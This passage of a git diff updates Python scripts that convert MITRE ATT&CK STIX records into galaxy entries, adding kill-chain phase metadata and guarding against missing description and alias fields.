+ value['meta']['kill_chain'] = []
+ for killchain in temp['kill_chain_phases']:
+ value['meta']['kill_chain'].append(killchain['kill_chain_name'] + ':enterprise-attack:' + killchain['phase_name'])
if 'x_mitre_data_sources' in temp:
value['meta']['mitre_data_sources'] = temp['x_mitre_data_sources']
if 'x_mitre_platforms' in temp:
diff --git a/tools/mitre-cti/v2.0/create_mitre-enterprise-attack-intrusion-set_galaxy.py b/tools/mitre-cti/v2.0/create_mitre-enterprise-attack-intrusion-set_galaxy.py
index b2f500b..137166b 100644
--- a/tools/mitre-cti/v2.0/create_mitre-enterprise-attack-intrusion-set_galaxy.py
+++ b/tools/mitre-cti/v2.0/create_mitre-enterprise-attack-intrusion-set_galaxy.py
@@ -21,16 +21,18 @@ for element in os.listdir('.'):
temp = d['objects'][0]
value = {}
- value['description'] = temp['description']
+ if 'description' in temp:
+ value['description'] = temp['description']
value['value'] = temp['name'] + ' - ' + temp['external_references'][0]['external_id']
value['meta'] = {}
- value['meta']['synonyms'] = temp['aliases']
+ if 'aliases' in temp:
+ value['meta']['synonyms'] = temp['aliases']
value['meta']['refs']= []
for reference in temp['external_references']:
if 'url' in reference and reference['url'] not in value['meta']['refs']:
value['meta']['refs'].append(reference['url'])
if 'external_id' in reference:
- value['meta']['external_id'] = reference['external_id']
+ value['meta']['external_id'] = reference['external_id']
value['uuid'] = re.search('--(.*)$', temp['id']).group(0)[2:]
values.append(value)
diff --git a/tools/mitre-cti/v2.0/create_mitre-mobile-attack-attack-pattern_galaxy.py b/tools/mitre-cti/v2.0/create_mitre-mobile-attack-attack-pattern_galaxy.py
index 61dbe1a..fa62126 100644
--- a/tools/mitre-cti/v2.0/create_mitre-mobile-attack-attack-pattern_galaxy.py
+++ b/tools/mitre-cti/v2.0/create_mitre-mobile-attack-attack-pattern_galaxy.py
@@ -30,6 +30,9 @@ for element in os.listdir('.'):
value['meta']['refs'].append(reference['url'])
if 'external_id' in reference:
value['meta']['external_id'] = reference['external_id']
+ value['meta']['kill_chain'] = []
+ for killchain in temp['kill_chain_phases']:
+ value['meta']['kill_chain'].append(killchain['kill_chain_name'] + ':mobile-attack:' + killchain['phase_name'])
if 'x_mitre_data_sources' in temp:
value['meta']['mitre_data_sources'] = temp['x_mitre_data_sources']
if 'x_mitre_platforms' in temp:
diff --git a/tools/mitre-cti/v2.0/create_mitre-pre-attack-attack-pattern_galaxy.py b/tools/mitre-cti/v2.0/create_mitre-pre-attack-attack-pattern_galaxy.py
index 8d2e137..0576068 100644
--- a/tools/mitre-cti/v2.0/create_mitre-pre-attack-attack-pattern_galaxy.py
+++ b/tools/mitre-cti/v2.0/create_mitre-pre-attack-attack-pattern_galaxy.py
@@ -30,6 +30,9 @@ for element in os.listdir('.'):
value['meta']['refs'].append(reference['url'])
if 'external_id' in reference:
value['meta']['external_id'] = reference['external_id']
+ value['meta']['kill_chain'] = []
+ for killchain in temp['kill_chain_phases']:
+ value['meta']['kill_chain'].append(killchain['kill_chain_name'] + ':pre-attack:' + killchain['phase_name'])
if 'x_mitre_data_sources' in temp:
value['meta']['mitre_data_sources'] = temp['x_mitre_data_sources']
if 'x_mitre_platforms' in temp: